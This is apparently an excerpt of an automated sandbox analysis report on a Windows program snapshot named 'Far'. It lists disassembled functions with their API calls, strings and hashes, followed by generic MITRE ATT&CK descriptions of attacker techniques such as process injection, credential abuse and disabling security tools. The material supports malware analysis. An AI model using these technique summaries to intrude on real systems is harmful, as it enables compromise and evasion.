GetDeviceCaps.GDI32 ref: 00007FF73D0A1FD2
ReleaseDC.USER32 ref: 00007FF73D0A1FF3

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 8bfbaac5f8ac3ae270764ec4ca97337265fec3d044a70584e26ef594fe531149
Instruction ID: e1f49749f27ac533a0e78fc94174266c3c8d2190d9765d5b573c37c2e0982c53
Opcode Fuzzy Hash: 8bfbaac5f8ac3ae270764ec4ca97337265fec3d044a70584e26ef594fe531149
Instruction Fuzzy Hash: 31E01A60A0E31A96EA04BBA2995C27CA76AEF48FC5F904430CC0E03B52FF3DA0446360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0A1FB5 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF73D0A1FB5
GetDC.USER32 ref: 00007FF73D0A1FC1
GetDeviceCaps.GDI32 ref: 00007FF73D0A1FD2
ReleaseDC.USER32 ref: 00007FF73D0A1FF3

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 6a869403300693b6f2669fb3316bbe4ae3126b26ff02dccb5b78957836818f65
Instruction ID: 07b6909f88600fa588ea213c1e08ab2c939894683b9ebe5f03e89fdfa8f4d518
Opcode Fuzzy Hash: 6a869403300693b6f2669fb3316bbe4ae3126b26ff02dccb5b78957836818f65
Instruction Fuzzy Hash: E0E04F60B0E31A96EA04FBA1995C17CA75AEF49FC5F900430CD0E03752FF3DA004A350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07D638 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D07D67B

Strings

e+000, xrefs: 00007FF73D07D723
gfff, xrefs: 00007FF73D07D7A6

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 451edc7dc45f6f0e73442d5906206404fca751a69d5befb6050b9a7d654a89b8
Instruction ID: da569831502f29b9c09a9a8ea2d24ad073cc330a28102c18a7559c5431874760
Opcode Fuzzy Hash: 451edc7dc45f6f0e73442d5906206404fca751a69d5befb6050b9a7d654a89b8
Instruction Fuzzy Hash: BD515962B1C7CA96E7259F799940379AB91E780F90F888235C7AC4BBC5EF2CD045D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EB2F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D046CA0: CreateWindowExW.USER32 ref: 00007FF73D046D30
Part of subcall function 00007FF73D046CA0: GetStockObject.GDI32 ref: 00007FF73D046D4D
Part of subcall function 00007FF73D046CA0: SendMessageW.USER32 ref: 00007FF73D046D60

GetWindowRect.USER32 ref: 00007FF73D0EB3BB
GetSysColor.USER32 ref: 00007FF73D0EB3E2

Strings

static, xrefs: 00007FF73D0EB33B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 95df86c0b5be465e67b46f67681313679853ff0d2c7002b48658bb3085041fab
Instruction ID: 48addda25696dfdd120f1a62434d89fdb6ca4208adb70fe2291cfc3ba24d914b
Opcode Fuzzy Hash: 95df86c0b5be465e67b46f67681313679853ff0d2c7002b48658bb3085041fab
Instruction Fuzzy Hash: 20314D32A09785CBD324DF69E44479AB7A5F788B50F504239EB9943B98DB38E451CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0CF7D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF73D0CF83A
InternetSetOptionW.WININET ref: 00007FF73D0CF86C

Strings

<local>, xrefs: 00007FF73D0CF811

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 6ab2705bd24d3b36ee043a8bab6b4fe71ecd08aa6a726eb29b0bce210f6b7ad3
Instruction ID: a8d52bb61b8909e1ea8fc69ea2e615d69296d0ab17d8a77b9450663ab3ba9325
Opcode Fuzzy Hash: 6ab2705bd24d3b36ee043a8bab6b4fe71ecd08aa6a726eb29b0bce210f6b7ad3
Instruction Fuzzy Hash: 0511C436A1D68592E7609B55E0003FDA7B1EB80B44FE44031DA8D0BA98EF3DD88ADB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081B44 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73D081B1E

Part of subcall function 00007FF73D080020: _ctrlfp.LIBCMT ref: 00007FF73D08005B
Part of subcall function 00007FF73D080020: _raise_exc.LIBCMT ref: 00007FF73D0800C7

Strings

tan, xrefs: 00007FF73D081B4A
!, xrefs: 00007FF73D081B06

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 37358dfb2328ba0d69936a848ea2b5fd0e9465859927029d04ee5f2a820ecc06
Instruction ID: 5c7847319511e877ba79a95a684e191a6d815a15283280121364ba5cbe78ff18
Opcode Fuzzy Hash: 37358dfb2328ba0d69936a848ea2b5fd0e9465859927029d04ee5f2a820ecc06
Instruction Fuzzy Hash: 5C019232A1CB8942DA14DF52E44037AA2A1FF9ABD4F904334EA5D07B88FF7CD1549B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081A8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73D081B1E

Part of subcall function 00007FF73D080020: _ctrlfp.LIBCMT ref: 00007FF73D08005B
Part of subcall function 00007FF73D080020: _raise_exc.LIBCMT ref: 00007FF73D0800C7

Strings

sin, xrefs: 00007FF73D081A92
!, xrefs: 00007FF73D081B06

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: a78541dead3ff30dfa742dfe4f37c9ce4d8b9887772b712caad6f538efdda69f
Instruction ID: 3f1dbbc8a583b529e4cb6f591de0d57f3b45417b8572cdb88898a2d859d0d55c
Opcode Fuzzy Hash: a78541dead3ff30dfa742dfe4f37c9ce4d8b9887772b712caad6f538efdda69f
Instruction Fuzzy Hash: 0901B172A1CB8942DA14DF22E44036AA2A1FF9ABD4F904324E95907B88FF7CD1949B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081A78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73D081B1E

Part of subcall function 00007FF73D080020: _ctrlfp.LIBCMT ref: 00007FF73D08005B
Part of subcall function 00007FF73D080020: _raise_exc.LIBCMT ref: 00007FF73D0800C7

Strings

cos, xrefs: 00007FF73D081A7E
!, xrefs: 00007FF73D081B06

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 350a42a1b96fc6731041036cd31bb491d476e6ce982f7f2f32e322f90c53a453
Instruction ID: 13e3ea85df9f747455a49bdcc6a4a19c4b74d47776feea4343c4b14e95c2abb2
Opcode Fuzzy Hash: 350a42a1b96fc6731041036cd31bb491d476e6ce982f7f2f32e322f90c53a453
Instruction Fuzzy Hash: 2701B572A1CB8942D614DF12E440366A161FF9ABD4F904324E95907B88FF7CD1559B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73D081986

Strings

", xrefs: 00007FF73D08195F
exp, xrefs: 00007FF73D081975

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: aa3f926570ffec19a89465bdd3fd23e560968e9bf7166b0203cb1c46ef2cb1cd
Instruction ID: 8553144bc727635ff5645e39cc50a05c441d5f94d95ef1b29148b048ae56a60d
Opcode Fuzzy Hash: aa3f926570ffec19a89465bdd3fd23e560968e9bf7166b0203cb1c46ef2cb1cd
Instruction Fuzzy Hash: 5D01C83692CB8C83E220DF24D0492AAB6B1FFEA744F601315E78416664DBBDD0859F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D067B50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF73D067B79
TlsSetValue.KERNEL32(?,?,?,00007FF73D0677D1,?,?,?,?,00007FF73D066B9C,?,?,?,?,00007FF73D06521B), ref: 00007FF73D067B90

Strings

FlsSetValue, xrefs: 00007FF73D067B5D, 00007FF73D067B66

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 605d026beb460cb0610e248f1c62b005af4c8eddf6d7b6f0840c3fad1c0ef086
Instruction ID: 6ea3731d2ec638ea48e7d618dc567bad5d6c3a40b980c5f372ec1d13995151ba
Opcode Fuzzy Hash: 605d026beb460cb0610e248f1c62b005af4c8eddf6d7b6f0840c3fad1c0ef086
Instruction Fuzzy Hash: 05E06C55B1D50AB2EA14ABD1E4405F89255FF88F50FD85031DA1D06654EF3CE844D220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E9564 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00007FF73D0E9576
PostMessageW.USER32 ref: 00007FF73D0E958D

Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE5E1
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF73D0BE5F0
Part of subcall function 00007FF73D0BE5C8: Sleep.KERNEL32 ref: 00007FF73D0BE5F8
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE603

Strings

Shell_TrayWnd, xrefs: 00007FF73D0E956F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: PerformanceQuery$Counter$FindFrequencyMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 352592371-2988720461
Opcode ID: c5edd6ac68af22d6ff23b605d72ce32a51ba2f39f1e3703ef5e68dbf5ca25d62
Instruction ID: e4c8398727c8bf5c544eaad10c71c1e4c75cca02c4b78752bc00fab42fd32aad
Opcode Fuzzy Hash: c5edd6ac68af22d6ff23b605d72ce32a51ba2f39f1e3703ef5e68dbf5ca25d62
Instruction Fuzzy Hash: 76E08C24F1E00AA2F718A7E1ACA26EA52519FD8B40FA40030C90906390EE2CA9818720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E95A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00007FF73D0E95BA
PostMessageW.USER32 ref: 00007FF73D0E95D1

Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE5E1
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF73D0BE5F0
Part of subcall function 00007FF73D0BE5C8: Sleep.KERNEL32 ref: 00007FF73D0BE5F8
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE603

Strings

Shell_TrayWnd, xrefs: 00007FF73D0E95B3

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: PerformanceQuery$Counter$FindFrequencyMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 352592371-2988720461
Opcode ID: 35964b126ede2340cc3cb8b265d761514cc110b47e06a52cb7d7ed6c3ffe4f4f
Instruction ID: 196f940b9009945cd90d8562a7eec6e3a0711c17e2302285a22e88a4d954ba2b
Opcode Fuzzy Hash: 35964b126ede2340cc3cb8b265d761514cc110b47e06a52cb7d7ed6c3ffe4f4f
Instruction Fuzzy Hash: 22E08C20F1E00AA2F708A7E1ACA26E652519F98B40FE40030C90906350EE2CA9818720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D065B68 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73D065B71
_CxxThrowException.LIBVCRUNTIME ref: 00007FF73D065B82

Part of subcall function 00007FF73D0675A8: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73D065B87), ref: 00007FF73D06761D
Part of subcall function 00007FF73D0675A8: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73D065B87), ref: 00007FF73D06764F

Strings

Unknown exception, xrefs: 00007FF73D065B8D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 816de2b102184687e10c8520a63c3d66b362d7fdf4c2ab2474235bf412010b75
Instruction ID: d3e55d3e081c7438833657aec4fa2233cd67f48ecc5199300cc5eba9bcd38d02
Opcode Fuzzy Hash: 816de2b102184687e10c8520a63c3d66b362d7fdf4c2ab2474235bf412010b75
Instruction Fuzzy Hash: D5D0126272C98AA1DE10FBC0D884394A330FB80B04FD04431D14C415B1FF2CD546D310

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

